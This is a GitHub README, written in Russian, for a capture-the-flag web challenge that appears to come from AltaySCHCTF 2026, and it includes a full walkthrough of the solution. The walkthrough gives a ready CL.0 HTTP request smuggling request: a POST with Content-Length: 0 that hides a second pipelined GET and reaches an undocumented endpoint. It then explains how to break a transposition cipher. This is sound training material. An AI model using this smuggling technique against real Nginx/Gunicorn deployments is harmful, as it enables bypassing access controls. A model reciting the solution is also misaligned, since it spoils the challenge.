Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Sierpinski-80 [Обещание десинхронизации]

Обзор

Нейро-модуль Sierpinski-80 потерял синхронизацию со своим хостом. Ваша задача — восстановить соединение через последовательность десинхронизации и извлечь фрагмент секретных данных.

Развёртывание

docker-compose up --build -d

Задача будет доступна по адресу http://localhost:7010

Технический стек

  • Фронтенд: Терминальный интерфейс в стиле CRT с эффектом «рыбий глаз»
  • Бэкенд: Flask + Gunicorn (архитектура на основе конечного автомата)
  • Прокси: Nginx (форвардинг через HTTP/1.0)
  • Уязвимость: Смугглинг запросов типа CL.0

Подсказки

  1. Соединение типа ноль — Классическая проблема десинхронизации, когда Content-Length встречается с HTTP/1.0
  2. Длина паттерна: 6 — Восстановленные данные следуют определённой структурной схеме
  3. Последовательность: Синхронизация → Восстановление → Верификация

Пошаговое решение (Burp Suite)

Фаза 1: Установление сессии

  1. Откройте Burp Suite и перехватите запрос к /api/v1/status
  2. Обратите внимание на куку session в ответе — ваша сессия изолирована

Фаза 2: Смугглинг запросов (CL.0)

Понимание уязвимости:

  • Фронтенд (Nginx) использует Content-Length для определения границ запроса
  • Бэкенд (Gunicorn через HTTP/1.0) имеет иную логику парсинга запросов
  • Это расхождение позволяет осуществлять смугглинг запросов

Шаги:

  1. В Burp Repeater сначала перехватите обычный запрос к /api/v1/status, чтобы получить куку сессии.

  2. Сформируйте смугглированный запрос, используя конвейеризацию HTTP. Ключевой момент — Content-Length: 0, за которым сразу следует второй запрос в теле:

POST /api/v1/sync HTTP/1.1
Host: localhost:7010
sec-ch-ua-platform: "Linux"
Accept-Language: ru-RU,ru;q=0.9
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:7010/
Accept-Encoding: gzip, deflate, br
Cookie: session=ВАША_КУКА_СЕССИИ_ЗДЕСЬ
Connection: keep-alive
Content-Length: 0

GET /api/v1/status HTTP/1.1
Host: localhost:7010
Cookie: session=ВАША_КУКА_СЕССИИ_ЗДЕСЬ

  1. Обратите особое внимание:

    • КРИТИЧНО: Скрытый эндпоинт — /api/v1/sync (не отображается в интерфейсе)
    • Content-Length: 0 сообщает Nginx, что тело запроса пустое
    • Всё, что идёт после пустой строки, становится «телом» запроса
    • Gunicorn (HTTP/1.0) обрабатывает второй запрос как новый отдельный запрос
  2. Отправьте запрос и наблюдайте ДВА ответа:

    • Ответ 1: 200 OK (для смугглированного POST)
    • Ответ 2: JSON с "status": "INSTABIL" (для последующего GET)
  3. При успехе система перейдёт в состояние INSTABIL для вашей сессии

Фаза 3: Восстановление данных

  1. После успешной десинхронизации запросите /api/v1/memory
  2. Обратите внимание на восстановленный зашифрованный фрагмент и подсказку о длине паттерна
  3. Длина паттерна 6 предполагает анализ структуры блоками по 6 символов

Фаза 4: Криптоанализ

Восстановленные данные используют классический метод шифрования:

  1. Запишите шифротекст строками по 6 символов
  2. Прочитайте столбцы вертикально, чтобы получить открытый текст
  3. Результат связан с нарративом Signalis

Фаза 5: Верификация

  1. Отправьте расшифрованную фразу через /api/v1/verify
  2. Успех запускает анимацию флага

Конечный автомат состояний

  • STABIL: Нормальная работа, возвращаются «мусорные» данные
  • INSTABIL: Состояние десинхронизации, доступен зашифрованный фрагмент
  • Состояние привязано к сессии (каждый игрок имеет изолированное состояние)

Вдохновлено эстетикой и лором Signalis (rose-engine).

About

Web hard task AltaySCHCTF 2026

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages